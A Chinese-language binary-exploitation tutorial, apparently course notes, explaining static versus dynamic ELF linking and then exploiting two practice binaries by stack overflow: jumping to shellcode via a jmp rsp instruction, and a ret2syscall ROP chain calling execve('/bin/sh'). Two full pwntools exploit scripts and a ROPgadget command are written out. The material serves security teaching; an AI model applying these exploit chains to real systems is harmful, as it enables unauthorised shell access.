这次的课件是有两个ELF文件,分别是由动态编译和静态编译生成的,这里说一下二者的区别
就像C语言的#include<stdio.h>包含头文件一样,ELF可执行文件的实际运行也是需要这样的库的,这个库就是 libc.so.6
位于/lib/x86_64-linux-gnu目录下
运行动态编译的ELF文件时,会动态地调用执行者操作系统中的libc.so.6这个库;而静态编译的程序则在编译时就将这个库给打包一同编译了(之后libc.so.6简称libc)
特点是动态编译的文件体积小,但是由于libc本身存在版本迭代,可能存在同一ELF文件在不同操作系统下可能存在运行不成功的情况;
而静态编译的文件由于把libc一起打包了,所以体积大,由于自带libc,所以一般情况下不存在因操作系统版本的原因而无法运行的情况
判断文件是否是静态编译,可以使用命令:
ldd 文件名
可以看到,easydemo-2是静态而easydemo是动态的
好了我们来看源码(easydemo.c):
相较于之前,现在没有了全局变量了,而且连/bin/sh字符串都没有了
也就是说我们向.bss段中写shellcode的方法不再可行
但是我们可以使用另一种方法来进行栈溢出执行shellcode:
注意到写入了一个指令:
jmp rsp;
这里是内联汇编的写法,就是人为地向程序中写入这样一条指令
而这个指令在体量较大的程序中一般都会有,这里是为了学习需要而手动添加方便利用的
先来说利用思路:
这个是正常的调用函数时的栈空间
当我们向函数的内存空间写入代码进行栈溢出操作时,我们可以:
这样做的意义是:
我们溢出写入后,栈布局如上,当函数进行完至尾声部分时,RBP、RSP复位后,栈布局如下:
函数尾声的最后一补时ret或retn指令,这一指令会将在之前压栈的RIP寄存器的值弹出,原目的是想让RIP指向调用函数时的地址,以便让函数继续正常执行,但是这里被我们溢出更改为了jmp rsp指令的地址,所以程序会跳至jmp rsp指令处执行指令,jmp rsp指令的含义又是跳转至RSP寄存器指向的地址执行,所以我们就跳到了shellcode的下方,即调用函数的栈底开始执行,按照相应的原则,程序执行shellcode,即达成了我们的目的
实践如下:
jmp指令地址
编写脚本如下:
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
sh = process('./easydemo')
# gdb.attach(sh, gdbscript="", gdb_args=['-q', '-ex', 'init-pwndbg'])
# Write your own code here
sh.sendline(b'A'*88 + p64(0x4011D8) + asm(shellcraft.sh()))
sh.interactive()
运行即getshell
这个是针对动态的程序,接下来我们来看静态程序结合gadget的应用
先看源码(easydemo-2):
相较于easydemo1,这个程序没有内联汇编代码,也就是说不能在通过jmp rsp指令跳转到shellcode下方执行shellcode
同时我们检查一下程序的保护设置:
可以看到NX (No eXecute) 保护是开启的,也就是说我们向栈内存空间中写入的的内容是不可执行的,这就意味着shellcode方法不可行,就要用到这次的方法
ret2syscall:
大多数程序都是在用户态下执行,而用户态出于安全考虑所能做的事非常有限,但程序中又总无法避免一些超出用户态权限的操作的存在,所以此时用户态就会“委托”内核进行指令执行,称为系统调用(在用户请求进行系统调用时,CPU会马上停下手上的活动来处理系统调用);而系统调用是有很多种的,就行编程语言中函数也有很多种,因此为了调用方便,每一种系统调用都会有一个“系统调用号”,即每一种系统调用自身的编号,系统调用函数通过“叫号”的方式来发起对应的系统调用,实现用户态与内核态的交互。
而syscall是汇编中较为常见的一条系统调用指令,同时,我们常用execve这个系统调用来进行getshell,它的系统调用号一般是0x3b,其作用是开启一个新的系统进程
需要指出的是,syscall是64位架构下的系统调用指令,在32位架构中int 0x80是对应的系统调用指令,二者的本质都是产生一个中断,来让CPU进行系统调用
在ARM架构中,这一指令是SWI(software interrupt)
我们ret2syscall的利用思路就是通过特定格式的gadget的利用,为寄存器“赋值”,赋值操作完成后执行syscall指令,从而发起系统调用,拿到shell
比较麻烦的是,要进行正确的系统调用,我们需要对四个寄存器进行赋值,下面来说是哪些寄存器
寄存器与函数参数:
在64位操作系统中函数的参数一般由:
rdi、rsi、rdx、rcx、r8、r9
六个寄存器存储,六个以上参数的,多余部分压栈存储
但对于syscall,它是用rax(用于存储系统调用号)作为自己的第一个参数,后面就是用rdi、rsi等作为参数
对于execve,作为系统调用,其使用syscall传入的参数作为参数,其有三个参数位:
execve(filename,argsv,envp);
我们在进行getshell时,一般需要将其置为:
execve("/bin/sh",NULL,NULL);
也就是将syscall置为:
syscall(b'0x3b',"/bin/sh",0,0)
如何来对syscall的参数进行“自定义”呢?
固定格式的gadget:
在汇编中,有这样一种格式的指令:
pop xxx;ret,例如:pop rax;ret
在栈中:
就是通过控制xxx或yyy的值来人为地控制寄存器中的值,这里我的图稍微有点点问题(xxx多余了),第一个gadget执行pop弹栈后将栈值yyy存入rax寄存器,下一个gadget同样的操作将rdi寄存器为栈值zzz等,一切都是通过栈溢出实现。
ret指令弹出一个栈值,并将该栈值作为返回地址,这就可以实现任意地址跳转的目的,也就是说,第一个gadget会将第二个gadget的地址作为返回地址,从而执行第二个gadget,继而执行第二个gadget指向的指令
如何寻找这样的pop xxx;ret 与syscall?
使用工具ROPgadget:
ROPgadget --binary easydemo-2 --only "pop|ret" | grep rax
据此编写脚本:
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
sh = process('./easydemo-2')
# gdb.attach(sh, gdbscript="", gdb_args=['-q', '-ex', 'init-pwndbg'])
pop_rax = 0x4513d7
pop_rdi = 0x401862
pop_rsi = 0x40f19e
pop_rdx = 0x40176f
bin_sh = 0x495015
syscall = 0x4012d3
# Write your own code here
sh.sendline(b'A'*88 + p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(bin_sh) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall))
sh.interactive()
运行getshell: